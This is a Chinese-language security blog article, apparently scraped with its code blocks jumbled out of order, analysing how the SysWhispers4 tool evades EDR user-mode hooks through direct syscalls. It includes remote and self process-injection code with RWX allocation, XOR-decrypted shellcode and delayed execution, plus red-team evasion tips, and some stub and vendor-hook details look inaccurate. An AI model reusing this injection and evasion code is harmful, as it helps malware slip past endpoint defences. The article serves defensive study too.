edr绕过工具SysWhispers4源码分析系列(二)

admin 2026-03-12 22:43:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入分析SysWhispers4源码,详解EDR用户态APIHook原理及DirectSyscall绕过技术。文章涵盖InlineHook实现、多种SSN解析方法包括Hell’sGate、Halo’sGate、Tartarus’Gate,分析CrowdStrike、SentinelOne等EDR产品的Hook特征,对比传统API调用与DirectSyscall的优劣。最后为蓝队和红队分别提供防御与攻击的最佳实践建议,强调纵深防御和持续演进的重要性。 综合评分: 88 文章分类: 红队,免杀,逆向分析,安全工具,内网渗透


cover_image

edr绕过工具 SysWhispers4 源码分析系列(二)

原创

haidragon haidragon

安全狗的自我修养

2026年3月12日 12:33 湖南

  • 官网:http://securitytech.cc

    #

  • 二、EDR Hook 与绕过原理

    本文档基于 SysWhispers4 项目源码深度分析,详细讲解 EDR(Endpoint Detection and Response)的用户态 API Hook 技术及其绕过原理。SysWhispers4 提供了多种绕过 EDR Hook 的系统调用方法,是理解现代攻防对抗的绝佳案例。

    1. 用户态 API Hook 原理

    1.1 Hook 基本概念

    API Hooking 是一种在函数执行前后插入自定义代码的技术,用于监控、修改或阻止函数调用。

    Hook 的三大要素:

    1.2 Windows API Hook 位置选择

    从 SysWhispers4 的代码分析可见,EDR 通常选择在以下位置设置 Hook:

    为什么选择这些位置?

    1.3 Inline Hook 实现原理

    Inline Hook 是最常见的 Hook 技术,通过修改目标函数的前几个字节实现重定向。

    典型实现步骤:

    内存布局变化:

    1.4 EDR 的 Detour 函数逻辑

    EDR 的 detour 函数通常执行以下操作:

    2. 常见 EDR Hook 技术

    2.1 基于 SysWhispers4 源码分析的 Hook 检测方法

    SysWhispers4 实现了多种 SSN 解析方法,其中包含了检测 Hook 的逻辑。

    方法 1:Hell’s Gate – 直接读取字节

    检测原理:

    正常的 ntdll syscall stub 应该是:

    如果被 Hook,开头会变成:

    方法 2:Halo’s Gate – 邻居扫描

    检测示例:

    假设 NtAllocateVirtualMemory 被 Hook,但其相邻函数未被 Hook:

    Halo’s Gate 会:

    方法 3:Tartarus’Gate – 高级 Hook 检测

    扩展扫描范围:

    Tartarus’Gate 将扫描范围从 ±8 扩展到 ±16:

    2.2 实际 EDR 产品的 Hook 特征

    根据 SysWhispers4 支持的多种绕过技术,我们可以推断常见 EDR 的 Hook 方式:

    CrowdStrike Falcon

    特征:使用近跳转(E9),覆盖前 5 字节

    SentinelOne

    特征:使用远跳转(FF 25),通过跳转表间接跳转

    Carbon Black

    特征:使用 INT3 断点,通过异常处理程序捕获

    Microsoft Defender ATP

    特征:MOV RAX + JMP RAX 组合,更难检测

    2.3 Hook 检测实战代码

    基于 SysWhispers4 的完整检测示例:

    3. 为什么直接 syscall 能绕过 Hook

    3.1 Hook 的作用域限制

    关键洞察:EDR 的 Hook 只能拦截经过 Hook 点的代码路径。

    3.2 SysWhispers4 的直接 syscall 实现

    来自 generator.py 的 ASM 生成代码:

    生成的汇编代码:

    关键点

    3.3 对比分析

    传统方式(被 Hook)

    底层实现:

    EDR 视角:

    Direct Syscall 方式(绕过 Hook)

    底层实现:

    EDR 视角:

    3.4 为什么 EDR 难以检测 Direct Syscall

    原因 1:syscall 指令本身是合法的

    原因 2:无法 Hook 硬件指令

    EDR 可以修改内存中的代码,但无法修改 CPU 指令的行为:

    原因 3:数量庞大,难以全部监控

    从 prototypes.json 可知,有 64+ 个 NT 函数可用:

    EDR 的困境:

    3.5 Direct Syscall 的优势总结

    | 特性 | 传统 API | Direct Syscall | | — | — | — | | 经过 kernel32 | ✓ | ✗ | | 经过 ntdll | ✓ | ✗ | | 被 EDR Hook | ✓ | ✗ | | 参数检查 | ✓ | ✗ | | 行为分析 | ✓ | ✗ | | 调用追踪 | ✓ | ✗ | | 绕过成功率 | 低 | 高 |

    4. ntdll syscall stub 结构分析

    4.1 标准 syscall stub 结构

    来自 SysWhispers4 源码分析的正常 ntdll stub:

    结构分解:

    4.2 不同 Windows 版本的 stub 差异

    从 syscalls_nt_x64.json 分析多个版本的 stub:

    Windows 7 SP1

    Windows 10 21H2

    Windows 11 22H2

    变化趋势:

    4.3 被 Hook 的 stub 示例

    类型 1:近跳转 Hook

    检测特征:

    类型 2:远跳转 Hook

    跳转目标计算:

    类型 3:断点 Hook

    工作原理:

    4.4 SysWhispers4 的 stub 生成逻辑

    来自 generator.py 的 ASM 生成代码:

    生成的完整文件(SW4Syscalls.asm):

    4.5 自定义存根 vs ntdll 存根

    ntdll 中的原始存根

    特点:

    SysWhispers4 生成的存根

    优势:

    5. API Hook 与 Direct Syscall 对比

    5.1 全面对比表

    | 维度 | API Hook | Direct Syscall | | — | — | — | | 检测能力 | | | | 函数识别 | ✓ 精确知道调用哪个函数 | ✗ 只知道发生了 syscall | | 参数检查 | ✓ 可以检查所有参数 | ✗ 无法获取参数语义 | | 调用栈追踪 | ✓ 完整的调用链 | ✗ 只有用户态存根 | | 行为分析 | ✓ 基于上下文判断 | ✗ 缺乏上下文信息 | | 绕过难度 | | | | 技术门槛 | 低(调用 Win32 API 即可) | 高(需要汇编知识) | | 实现复杂度 | 低(高级语言直接调用) | 中(需要生成存根代码) | | 被发现风险 | 高(EDR 重点监控) | 中(大量 syscall 难以区分) | | 性能影响 | | | | 调用开销 | 中(经过多层封装) | 低(直接进入内核) | | EDR 开销 | 高(需要分析每个调用) | 低(只能记录 syscall) | | 系统影响 | 中(影响应用程序性能) | 低(几乎无额外开销) | | 隐蔽性 | | | | 内存特征 | 正常 API 调用 | 非标准代码段 | | 流量特征 | 正常 | 可能与正常程序不同 | | 统计特征 | 符合正常模式 | 可能异常(syscall 频率) | | 适用场景 | | | | 红队行动 | ✗ 容易被发现 | ✓ 隐蔽性好 | | 恶意软件 | ✗ 容易被分析 | ✓ 增加分析难度 | | 合法软件 | ✓ 标准做法 | ✗ 可能触发警报 | | 安全研究 | ✓ 理解 EDR 原理 | ✓ 测试绕过技术 |

    5.2 实际案例对比

    案例 1:进程注入

    传统方式(使用 Win32 API):

    EDR 检测结果:

    Direct Syscall 方式(使用 SysWhispers4):

    EDR 检测结果:

    差异分析:

    案例 2:代码注入到自身

    传统方式:

    EDR 检测:

    Direct Syscall 方式:

    EDR 视角:

    5.3 优缺点总结

    API Hook 的优势(对 EDR 而言)

    ✅ 高精度检测

    ✅ 行为分析

    ✅ 实时阻断

    API Hook 的劣势(对 EDR 而言)

    ❌ 性能开销

    ❌ 覆盖率问题

    ❌ 可被绕过

    Direct Syscall 的优势(对攻击者而言)

    ✅ 绕过检测

    ✅ 灵活性高

    ✅ 学习价值

    Direct Syscall 的劣势(对攻击者而言)

    ❌ 实现复杂

    ❌ 维护成本高

    ❌ 并非银弹

    5.4 最佳实践建议

    对于防御者(蓝队)

    对于攻击测试者(红队)


## 总结

通过深入分析 SysWhispers4 项目源码,我们全面理解了 EDR Hook 技术与 Direct Syscall 绕过原理:

### 核心要点

### 技术启示

### 实际应用

蓝队应用:

红队应用:

安全研究:


参考资料:

#

  • SysWhispers4 源码: syswhispers.pygenerator.pymodels.py

  • SSN 表: data/syscalls_nt_x64.json

  • 函数原型: data/prototypes.json

  • 相关技术:Hell’s Gate, Halo’s Gate, Tartarus’Gate, FreshyCalls

  • 深入理解 Windows internals

  • 开发新型检测和绕过技术

  • 推动安全技术发展

  • 使用 Direct Syscall 绕过用户态 Hook

  • 组合多种隐蔽技术

  • 持续测试和优化绕过方法

  • 部署多层次检测(用户态 + 内核态)

  • 监控 syscall 模式和频率

  • 结合行为分析和机器学习

  • 没有银弹:没有任何一种技术能解决所有问题

  • 纵深防御:需要多层检测机制配合

  • 持续演进:攻防双方都在不断升级技术

  • 理解本质:深入理解操作系统原理是关键

  • 合法进程注入 + 文件less 技术 “`

  • 高级 EDR 有其他检测方法

  • 行为分析仍然有效

  • 内核回调可以监控

  • SSN 随版本变化

  • 需要持续更新

  • 兼容性问题

  • 需要汇编语言知识

  • 需要了解调用约定

  • 需要处理不同 Windows 版本

  • 深入理解 Windows internals

  • 掌握系统调用机制

  • 提升逆向工程能力

  • 可以自定义存根代码

  • 可以加密/混淆 SSN

  • 可以随机化调用方式

  • 不经过用户态 Hook

  • EDR 无法获取语义信息

  • 增加分析难度

  • 攻击者可以使用 Direct Syscall

  • 可以通过其他 DLL 导出函数

  • 可以使用内核驱动(更高级)

  • 只能 Hook 已知的 API

  • 新的 Native API 无法覆盖

  • Direct Syscall 完全绕过

  • 每个被 Hook 的函数都有额外处理

  • 大量调用会导致系统变慢

  • 影响用户体验

  • 在调用发生前拦截

  • 可以修改返回值

  • 最小化损害

  • API 调用序列模式匹配

  • 时间关联性分析

  • 调用栈追踪

  • 准确的函数识别

  • 完整的参数检查

  • 丰富的上下文信息

  • Hook 方式:识别出完整的注入模式

  • Syscall 方式:孤立的 syscall,难以关联

  • Hook 方式:看到 PAGE_EXECUTE_READWRITE(危险标志)

  • Syscall 方式:无法获取参数的语义信息

  • Hook 方式:知道调用的是 VirtualAllocEx(高危)

  • Syscall 方式:只知道是 syscall #24,不知道具体用途

  • 位于应用程序自己的代码段

  • 不会被 EDR Hook(除非 EDR 扫描整个进程内存)

  • 更简洁高效

  • 位于 ntdll.dll 的 .text 段

  • 可能被 EDR Hook

  • 包含额外的栈操作

  • 第一条指令是 E9(近跳转)

  • 后续字节被破坏(无意义的指令)

  • Windows 7 → 简单直接

  • Windows 10 → 增加栈操作(可能是为了兼容性)

  • Windows 11 → 添加额外检查

  • 监控所有 syscall?→ 性能开销巨大,误报率高

  • 只监控部分?→ 攻击者使用其他函数绕过

  • 基于行为分析?→ 容易被正常程序误判

  • kernel32.dll:所有 Win32 API 的必经之路,覆盖率高

  • ntdll.dll:更接近内核,能捕获更底层的操作

  1. Hook 原理:通过修改函数前几个字节实现重定向

  2. 检测方法:Hell’s Gate、Halo’s Gate、Tartarus’Gate 等多种技术

  3. 绕过原理:Direct Syscall 完全不经过被 Hook 的 ntdll 函数

  4. stub 结构:标准 syscall stub 包含 SSN 设置和 syscall 指令

  5. 对比分析:API Hook 提供丰富上下文,Direct Syscall 绕过检测但实现复杂

  6. 测试 EDR 响应: “` 逐步升级测试:

  7. 单个 syscall → 观察反应

  8. 完整注入流程 → 检测阈值

  9. 组合技术 → 评估防护效果 “`

  10. // 敏感操作使用 syscall

  11. NtAllocateVirtualMemory(...)// ✓

  12. VirtualAlloc(...)// ✗

  13. 优先使用 Direct Syscall


  1. 组合多种技术

    “` Direct Syscall + 加密通信 + 延迟执行

  2. // 即使不知道具体函数,也可以监控模式

  3. if(syscall_frequency > THRESHOLD){

  4. alert("Abnormal syscall activity");

  5. }

  6. if(syscall_sequence == KNOWN_ATTACK_PATTERN){

  7. alert("Potential injection detected");

  8. }

  9. ✗只靠 API Hook

  10. ✓结合多种技术:

  11. -内核回调(KernelCallbacks)

  12. -内存扫描(MemoryScanning)

  13. -行为分析(BehavioralAnalysis)

  14. -机器学习(ML-based Detection)

  15. 不要依赖单一检测手段


  1. 监控 syscall 模式

  1. 使用内核驱动: c// 内核层监控无法被绕过PsSetCreateProcessNotifyRoutine(ProcessCallback);ObRegisterCallbacks(&ObjectCallbacks);

  2. [WARNING]SuspiciousActivity(LowConfidence)

  3. ├─Observations:

  4. │├─Process allocated executable memory

  5. │├─Memory copy operation detected

  6. │└─Code execution from heap

  7. ├─MissingContext:

  8. │├─NoWin32 API call trace

  9. │├─Cannot verify allocation purpose

  10. │└─Execution path unclear

  11. └─Action:Flaggedfor manual review

  12. // SysWhispers4 自注入

  13. PVOID base = NULL;

  14. SIZE_T size =0x1000;

  15. NtAllocateVirtualMemory(

  16. GetCurrentProcess(),&base,0,&size,

  17. MEM_COMMIT, PAGE_EXECUTE_READWRITE

  18. );

  19. // 加密传输 shellcode

  20. XorDecrypt(encryptedShellcode, decrypted, size, key);

  21. memcpy(base, decrypted, size);

  22. // 延迟执行(避免关联)

  23. Sleep(5000);

  24. ((void(*)())base)();

  25. [ALERT]Self-InjectionDetected

  26. ├─Pattern:Alloc+Write+Executein same process

  27. ├─SuspiciousFlags:

  28. │├─ PAGE_EXECUTE_READWRITE

  29. │├─Shellcode-like byte patterns

  30. │└─Immediate execution after allocation

  31. └─Action: TERMINATED

  32. // 自注入(仍然可被检测)

  33. LPVOID pMem =VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  34. memcpy(pMem, shellcode, size);

  35. ((void(*)())pMem)();// 执行 shellcode

  36. 行为关联

  37. 参数检查

  38. 函数识别

  39. [INFO]SyscallActivity

  40. ├─Process: malware.exe (PID:1234)

  41. ├─SyscallsObserved:

  42. │├─ syscall #78 (NtOpenProcess)

  43. │├─ syscall #24 (NtAllocateVirtualMemory)

  44. │├─ syscall #58 (NtWriteVirtualMemory)

  45. │└─ syscall #201 (NtCreateThreadEx)

  46. ├─Analysis:Unable to determine intent

  47. ├─RiskScore:35/100(insufficient context)

  48. └─Action:Logged only (no alert)

  49. // 使用 SysWhispers4 绕过检测

  50. HANDLE hProcess;

  51. NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS,&oa,&clientId);

  52. PVOID pBase = NULL;

  53. SIZE_T regionSize =0x1000;

  54. NtAllocateVirtualMemory(

  55. hProcess,&pBase,0,&regionSize,

  56. MEM_COMMIT | MEM_RESERVE,

  57. PAGE_EXECUTE_READWRITE

  58. );

  59. //自己syscall实现

  60. NtWriteVirtualMemory(hProcess, pBase, shellcode, shellcodeSize, NULL);

  61. HANDLE hThread;

  62. NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,

  63. pBase, NULL, FALSE,0,0,0, NULL);

  64. [ALERT]ProcessInjectionDetected!

  65. ├─Technique:ClassicRemoteThreadInjection

  66. ├─SourceProcess: malware.exe (PID:1234)

  67. ├─TargetProcess: explorer.exe (PID:5678)

  68. ├─ API Sequence:

  69. │├─OpenProcess(PROCESS_ALL_ACCESS)

  70. │├─VirtualAllocEx(PAGE_EXECUTE_READWRITE)←高危标志

  71. │├─WriteProcessMemory(写入可执行内存)

  72. │└─CreateRemoteThreadEx(创建远程线程)

  73. ├─RiskScore:95/100

  74. └─Action: BLOCKED +AlertSent

  75. // 明显的注入行为

  76. HANDLE hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);

  77. LPVOID pRemoteMem =VirtualAllocEx(hProcess, NULL, shellcodeSize,

  78. MEM_COMMIT | MEM_RESERVE,

  79. PAGE_EXECUTE_READWRITE);

  80. WriteProcessMemory(hProcess, pRemoteMem, shellcode, shellcodeSize, NULL);

  81. HANDLE hThread =CreateRemoteThreadEx(hProcess, NULL,0,

  82. pRemoteMem, NULL,0, NULL, NULL);

  83. ;应用程序自己的存根(不会被Hook)

  84. myapp_code:0000000140001000

  85. mov     r10, rcx

  86. mov     eax,18h

  87. syscall

  88. ret

  89. ; ntdll.dll 中的存根(可能被Hook)

  90. .text:0000000180001234

  91. mov     [rsp+8], rcx

  92. mov     eax,18h

  93. mov     r10,[rsp+4]

  94. syscall

  95. ret

  96. ; SW4Syscalls.asm-由SysWhispers4生成

  97. .code

  98. ;============================================================

  99. ;直接 syscall 存根

  100. ;============================================================

  101. NtAllocateVirtualMemory PROC

  102. mov r10, rcx

  103. mov eax,0x18

  104. syscall

  105. ret

  106. NtAllocateVirtualMemory ENDP

  107. NtCreateThreadEx PROC

  108. mov r10, rcx

  109. mov eax,0xC9

  110. syscall

  111. ret

  112. NtCreateThreadEx ENDP

  113. NtWriteVirtualMemory PROC

  114. mov r10, rcx

  115. mov eax,0x3A

  116. syscall

  117. ret

  118. NtWriteVirtualMemory ENDP

  119. END

  120. def _gen_asm_msvc(self):

  121. """为 MSVC/MASM 生成汇编存根"""

  122. lines =[]

  123. for proto in self._prototypes:

  124. # 获取 SSN(根据选择的解析方法)

  125. if self.cfg.resolve ==ResolutionMethod.Static:

  126. ssn = self._get_static_ssn(proto.name)

  127. else:

  128. ssn =0# 动态解析时占位

  129. # 根据调用方法生成不同的存根

  130. if self.cfg.method ==InvocationMethod.Embedded:

  131. lines.extend(self._gen_embedded_stub(proto, ssn))

  132. elif self.cfg.method ==InvocationMethod.Indirect:

  133. lines.extend(self._gen_indirect_stub(proto, ssn))

  134. elif self.cfg.method ==InvocationMethod.Randomized:

  135. lines.extend(self._gen_randomized_stub(proto, ssn))

  136. elif self.cfg.method ==InvocationMethod.Egg:

  137. lines.extend(self._gen_egg_stub(proto, ssn))

  138. return"\n".join(lines)

  139. def _gen_embedded_stub(self, proto, ssn):

  140. """生成直接 syscall 存根"""

  141. return[

  142. f"{proto.name} PROC",

  143. f"    mov r10, rcx",;参数传递

  144. f"    mov eax, 0x{ssn:X}",; SSN

  145. f"    syscall",;进入内核

  146. f"    ret",

  147. f"{proto.name} ENDP"

  148. ]

  149. CPU 执行到 int3 触发异常

  150. EDR 的异常处理程序接管

  151. 分析调用上下文

  152. 决定是否允许继续执行

  153. ;被 INT3 Hook

  154. 00007FF812345678 CC           int3                    ; 断点`

  155. 00007FF812345679 B818000000    mov     eax,18h;原始指令保留`

  156. 00007FF81234567E 0F05          syscall`

  157. 目标地址=当前 RIP +偏移量

  158. =00007FF81234567E + 0xD5C4B3A2`

  159. = 00007FF8E7F90A20  (EDR 的跳转表)`

  160. ;被Hook后(FF 25间接跳转)

  161. 00007FF812345678 FF25A2B3C4D5  jmp     qword ptr [rip+0xD5C4B3A2]`

  162. 00007FF81234567E0000          add     [rax], al          ;填充字节`

  163. ;原始 stub

  164. 00007FF812345678 48894C2408    mov     [rsp+8], rcx`

  165. 00007FF81234567D B818000000    mov     eax,18h`

  166. 00007FF812345682 4C8B4C2404    mov     r10, [rsp+4]`

  167. 00007FF8123456870F05          syscall`

  168. 00007FF812345689 C3            ret`

  169. ; 被 Hook 后(前 5 字节被替换)

  170. 00007FF812345678 E9A3B2C1D0    jmp     00007FF811111120  ; EDR detour

  171. 00007FF81234567D00B8180000    add     [rax+18h], bh      ;被覆盖的字节`

  172. 00007FF812345682 04C24         add     al, 24h`

  173. 00007FF8123456850F05          syscall                    ;残留字节`

  174. ;Windows11的 stub 略有优化

  175. NtAllocateVirtualMemory:

  176. test rax, rax       ;新增的测试指令

  177. mov eax,18h

  178. mov r10, rcx

  179. syscall

  180. ret

  181. ;现代 stub 格式(增加了栈操作)

  182. NtAllocateVirtualMemory:

  183. mov [rsp+8], rcx    ;额外保存寄存器

  184. mov eax,18h

  185. mov r10,[rsp+4];从栈上取值

  186. syscall

  187. ret

  188. ;较老的 stub 格式

  189. NtAllocateVirtualMemory:

  190. mov eax,46h; SSN =70

  191. mov r10, rcx

  192. syscall

  193. ret

  194. syscall             ;特权级转换

  195. mov r10,[rsp+4]; x64 调用约定要求 RCX→R10

  196. mov eax,18h;系统服务号放入 EAX

  197. Prologue(前导指令): asmmov[rsp+8],rcx;保存第一个参数到影子空间

  198. SSN 设置


  1. 参数准备

  1. Syscall 执行

  1. Epilogue(结束指令): asmret;返回到调用者

  2. ; ntdll!NtAllocateVirtualMemory(Windows1021H2)

  3. 00007FF812345678 48894C2408    mov     [rsp+8], rcx    ; 保存 rcx`

  4. 00007FF81234567D B818000000    mov     eax,18h; SSN =24`

  5. 00007FF812345682 4C8B4C2404    mov     r10, [rsp+4]    ; 从栈上取参数`

  6. 00007FF8123456870F05          syscall                 ;进入内核`

  7. 00007FF812345689 C3            ret                     ; 返回`

  8. # SysWhispers4 支持的部分函数

  9. functions =[

  10. "NtAllocateVirtualMemory",

  11. "NtCreateThreadEx",

  12. "NtWriteVirtualMemory",

  13. "NtReadVirtualMemory",

  14. "NtProtectVirtualMemory",

  15. "NtOpenProcess",

  16. "NtOpenThread",

  17. # ... 还有 58 个函数

  18. ]

  19. syscall 指令的行为由 CPU 微架构决定:

  20. 1.切换到Ring0

  21. 2.跳转到 IA32_LSTAR MSR 指定的地址

  22. 3.执行内核中的KiSystemCall64

  23. EDR 无法:

  24. -修改 syscall 的机器码(0F05)

  25. -拦截 CPU 的特权级转换

  26. -修改 SSDT 表(受内核保护)

  27. ;好的 syscall

  28. mov eax,3Ch; sys_exit_group

  29. syscall

  30. ;"坏"的 syscall

  31. mov eax,18h;NtAllocateVirtualMemory

  32. syscall

  33. ;对 EDR 来说,看起来都一样!

  34. ✗没有检测到 kernel32 API 调用

  35. ✗没有检测到 ntdll API 调用(因为根本没调用)

  36. ✗只看到一条 syscall 指令(无法区分好坏)

  37. ✗无法获取调用的语义信息(哪个函数?什么参数?)

  38. ;应用程序自己的存根(不在 ntdll 中)

  39. myapp!NtAllocateVirtualMemory:

  40. mov r10, rcx

  41. mov eax,18h

  42. syscall        ;←直接执行,不经过 ntdll

  43. ret

  44. // 使用 SysWhispers4

  45. NtAllocateVirtualMemory(

  46. GetCurrentProcess(),

  47. &baseAddress,

  48. 0,

  49. &size,

  50. MEM_COMMIT,

  51. PAGE_EXECUTE_READWRITE

  52. );

  53. ✓检测到 kernel32!VirtualAlloc调用

  54. ✓检测到 ntdll!NtAllocateVirtualMemory调用

  55. ✓可以检查参数(size, protection flags)

  56. ✓可以阻止调用或发出警报

  57. ; kernel32!VirtualAlloc

  58. push rbp

  59. mov rbp, rsp

  60. sub rsp,20h

  61. ;...参数验证和预处理...

  62. call ntdll!NtAllocateVirtualMemory;←这里被Hook

  63. leave

  64. ret

  65. // 传统调用方式

  66. VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  67. 完全不调用 ntdll.dll:代码在应用程序自己的空间

  68. 没有中间层:直接从应用层到内核层

  69. EDR 无法拦截:因为没有经过任何 Hook 点

  70. ;SysWhispers4生成的NtAllocateVirtualMemory

  71. PUBLIC NtAllocateVirtualMemory

  72. NtAllocateVirtualMemory PROC

  73. mov r10, rcx           ;第1参数 RCX → R10

  74. mov eax,18h; SSN =24(Windows1021H2)

  75. syscall                ;直接进入内核

  76. ret                    ;返回

  77. NtAllocateVirtualMemory ENDP

  78. def _gen_asm_msvc(self):

  79. """生成 MASM 汇编的直接 syscall 存根"""

  80. lines =[]

  81. for proto in self._prototypes:

  82. ssn = self._get_ssn(proto.name)

  83. # 生成完全独立的 syscall 存根

  84. lines.append(f"{proto.name} PROC")

  85. lines.append(f"    mov r10, rcx"); x64 调用约定

  86. lines.append(f"    mov eax, 0x{ssn:X}");设置 SSN

  87. lines.append(f"    syscall");直接进入内核

  88. lines.append(f"    ret")

  89. lines.append(f"{proto.name} ENDP")

  90. return"\n".join(lines)

  91. ┌─────────────────────────────────────────────────┐

  92. │传统Win32 API 调用│

  93. ├─────────────────────────────────────────────────┤

  94. │CreateRemoteMemory()[kernel32.dll]│

  95. │↓│

  96. │[HOOK POINT]← EDR 在这里设置Hook│

  97. │↓│

  98. │NtAllocateVirtualMemory()[ntdll.dll]│

  99. │↓│

  100. │ syscall 指令│

  101. │↓│

  102. │内核│

  103. └─────────────────────────────────────────────────┘

  104. ┌─────────────────────────────────────────────────┐

  105. │DirectSyscall调用│

  106. ├─────────────────────────────────────────────────┤

  107. │应用程序自定义存根│

  108. │↓│

  109. │ mov eax, SSN                                    │

  110. │ mov r10, rcx                                    │

  111. │ syscall  ←直接进入内核,不经过 ntdll!│

  112. │↓│

  113. │内核│

  114. └─────────────────────────────────────────────────┘

  115. #include<windows.h>

  116. #include<stdio.h>

  117. typedefstruct&nbsp;_HOOK_ANALYSIS&nbsp;{

  118. BOOL&nbsp;IsHooked;

  119. CHAR&nbsp;HookType[32];

  120. BYTE&nbsp;OriginalBytes[15];

  121. PVOID&nbsp;DetourAddress;

  122. }&nbsp;HOOK_ANALYSIS,*PHOOK_ANALYSIS;

  123. // 检测函数是否被 Hook

  124. HOOK_ANALYSIS&nbsp;AnalyzeFunctionHook(PVOID pFunction){

  125. HOOK_ANALYSIS result&nbsp;={0};

  126. BYTE*&nbsp;pCode&nbsp;=(BYTE*)pFunction;

  127. // 保存原始字节

  128. memcpy(result.OriginalBytes,&nbsp;pCode,15);

  129. // 检测各种 Hook 类型

  130. if(pCode[0]==0xE9){

  131. result.IsHooked=&nbsp;TRUE;

  132. strcpy_s(result.HookType,"NEAR_JMP");

  133. // 计算 detour 地址

  134. LONG offset&nbsp;=*(LONG*)(pCode&nbsp;+1);

  135. result.DetourAddress=&nbsp;pCode&nbsp;+5+&nbsp;offset;

  136. }

  137. elseif(pCode[0]==0xFF&&&nbsp;pCode[1]==0x25){

  138. result.IsHooked=&nbsp;TRUE;

  139. strcpy_s(result.HookType,"FAR_JMP");

  140. // 读取间接地址

  141. LONG offset&nbsp;=*(LONG*)(pCode&nbsp;+2);

  142. PVOID*&nbsp;pIndirect&nbsp;=(PVOID*)(pCode&nbsp;+6+&nbsp;offset);

  143. result.DetourAddress=*pIndirect;

  144. }

  145. elseif(pCode[0]==0xCC){

  146. result.IsHooked=&nbsp;TRUE;

  147. strcpy_s(result.HookType,"INT3_BP");

  148. }

  149. elseif(pCode[0]==0x48&&&nbsp;pCode[1]==0xB8){

  150. // 检查是否有 JMP RAX

  151. for(int&nbsp;i&nbsp;=2;&nbsp;i&nbsp;<12;&nbsp;i++){

  152. if(pCode[i]==0xFF&&&nbsp;pCode[i+1]==0xE0){

  153. result.IsHooked=&nbsp;TRUE;

  154. strcpy_s(result.HookType,"MOV_RAX_JMP");

  155. result.DetourAddress=*(PVOID*)(pCode&nbsp;+2);

  156. break;

  157. }

  158. }

  159. }

  160. elseif(pCode[0]==0xB8){

  161. // 正常的 syscall stub

  162. result.IsHooked=&nbsp;FALSE;

  163. strcpy_s(result.HookType,"CLEAN");

  164. }

  165. return&nbsp;result;

  166. }

  167. // 使用示例

  168. voidCheckNtdllHooks(){

  169. HMODULE hNtdll&nbsp;=GetModuleHandleA("ntdll.dll");

  170. constchar*&nbsp;functions[]={

  171. "NtAllocateVirtualMemory",

  172. "NtCreateThreadEx",

  173. "NtWriteVirtualMemory",

  174. "NtOpenProcess"

  175. };

  176. for(int&nbsp;i&nbsp;=0;&nbsp;i&nbsp;<4;&nbsp;i++){

  177. PVOID pFunc&nbsp;=GetProcAddress(hNtdll,&nbsp;functions[i]);

  178. HOOK_ANALYSIS analysis&nbsp;=AnalyzeFunctionHook(pFunc);

  179. printf("%-30s: ",&nbsp;functions[i]);

  180. if(analysis.IsHooked){

  181. printf("\033[31mHOOKED\033[0m (%s) @ %p\n",

  182. analysis.HookType,&nbsp;analysis.DetourAddress);

  183. }else{

  184. printf("\033[32mCLEAN\033[0m\n");

  185. }

  186. }

  187. }

  188. ;Defender的高级Hook

  189. 00007FF812345678 48B812345678  mov     rax, 0x78563412`

  190. 00007FF81234568290909090      nop`

  191. 00007FF812345686 FFE0          jmp     rax`

  192. ;CarbonBlack的断点Hook

  193. 00007FF812345678 CC           int3            ; 触发异常`

  194. 00007FF812345679 B818000000    mov     eax,18h`

  195. 00007FF81234567E 0F05          syscall`

  196. ;SentinelOne的Hook变体

  197. 00007FF812345678 FF25A2B3C4D5  jmp     qword ptr [rip+0xD5C4B3A2]`

  198. ; 跳转到间接地址

  199. 00007FF81234567E0000          add     [rax], al`

  200. ;CrowdStrike的典型Hook

  201. 00007FF812345678 E912345678    jmp     csdetourfunction`

  202. 00007FF81234567D90            nop`

  203. 00007FF81234567E 90            nop`

  204. static&nbsp;DWORD&nbsp;TartarusGateResolve(constchar*&nbsp;funcName,&nbsp;PVOID pModule){

  205. PVOID pFunction&nbsp;=GetProcAddress(pModule,&nbsp;funcName);

  206. // 1. 先检查是否被 Hook

  207. if(IsHooked_Tartarus((BYTE*)pFunction)){

  208. printf("Function %s is hooked, scanning neighbors...\n",&nbsp;funcName);

  209. // 2. 扩大扫描范围到 ±16

  210. for(int&nbsp;offset&nbsp;=1;&nbsp;offset&nbsp;<=16;&nbsp;offset++){

  211. // 双向扫描逻辑同 Halo's Gate

  212. // ...

  213. }

  214. }

  215. // 3. 如果未被 Hook,直接读取

  216. returnHellsGateReadSSN(pFunction);

  217. }

  218. // 来自 generator.py - Tartarus'Gate 增强版

  219. static&nbsp;BOOL&nbsp;IsHooked_Tartarus(BYTE*&nbsp;pFunction){

  220. // 检测类型 1: 近跳转 (E9)

  221. if(pFunction[0]==0xE9){

  222. printf("Detected near JMP hook\n");

  223. return&nbsp;TRUE;

  224. }

  225. // 检测类型 2: 远跳转 (FF 25)

  226. if(pFunction[0]==0xFF&&&nbsp;pFunction[1]==0x25){

  227. printf("Detected far JMP hook\n");

  228. return&nbsp;TRUE;

  229. }

  230. // 检测类型 3: 断点 (CC)

  231. if(pFunction[0]==0xCC){

  232. printf("Detected INT3 hook\n");

  233. return&nbsp;TRUE;

  234. }

  235. // 检测类型 4: PUSH + RET (FF 75 .. C3)

  236. if(pFunction[0]==0xFF&&&nbsp;pFunction[1]==0x75){

  237. printf("Detected PUSH/RET hook\n");

  238. return&nbsp;TRUE;

  239. }

  240. // 检测类型 5: MOV RAX, JMP RAX (48 B8 .. FF E0)

  241. if(pFunction[0]==0x48&&&nbsp;pFunction[1]==0xB8){

  242. // 查找后续的 FF E0 (JMP RAX)

  243. for(int&nbsp;i&nbsp;=2;&nbsp;i&nbsp;<12;&nbsp;i++){

  244. if(pFunction[i]==0xFF&&&nbsp;pFunction[i+1]==0xE0){

  245. printf("Detected MOV RAX + JMP RAX hook\n");

  246. return&nbsp;TRUE;

  247. }

  248. }

  249. }

  250. return&nbsp;FALSE;// 未检测到 Hook

  251. }

  252. 检查 ...12345600 → 读到 SSN=22

  253. 推断被 Hook 函数的 SSN = 22 + 2 = 24 ✓

  254. 函数名地址&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;SSN

  255. --------------------------------------------------

  256. NtAdjustPrivilegesToken...1234560022←未Hook

  257. NtAllocateVirtualMemory...12345620??←被Hook(E9&nbsp;...)

